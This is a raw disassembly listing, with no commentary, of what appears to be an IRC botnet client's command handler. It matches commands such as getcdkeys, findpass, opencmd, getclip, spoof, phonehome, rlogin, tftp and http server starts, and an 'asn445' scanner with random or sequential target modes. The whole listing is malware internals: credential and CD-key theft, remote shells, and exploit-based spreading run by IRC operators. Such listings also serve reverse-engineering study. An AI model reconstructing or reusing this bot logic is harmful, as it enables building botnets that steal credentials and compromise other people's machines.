		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1F8
		push	offset dword_42C1EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1D4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C1A0
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C16C
		push	eax
		mov	dword_4CE758, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0C4
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsn445	; "asn445"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C050
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42C014
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_43161A
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_43161A
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431438, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431438

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431438[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF48
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF54
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2670E9Dh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF18
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEE0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BEC0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2660000h
		nop

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42BE50
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BE14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42BDD8

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D158

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_42BD60
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAEC0
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD3C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BD10
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCE4

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BCC0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC94
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC7C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC60
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
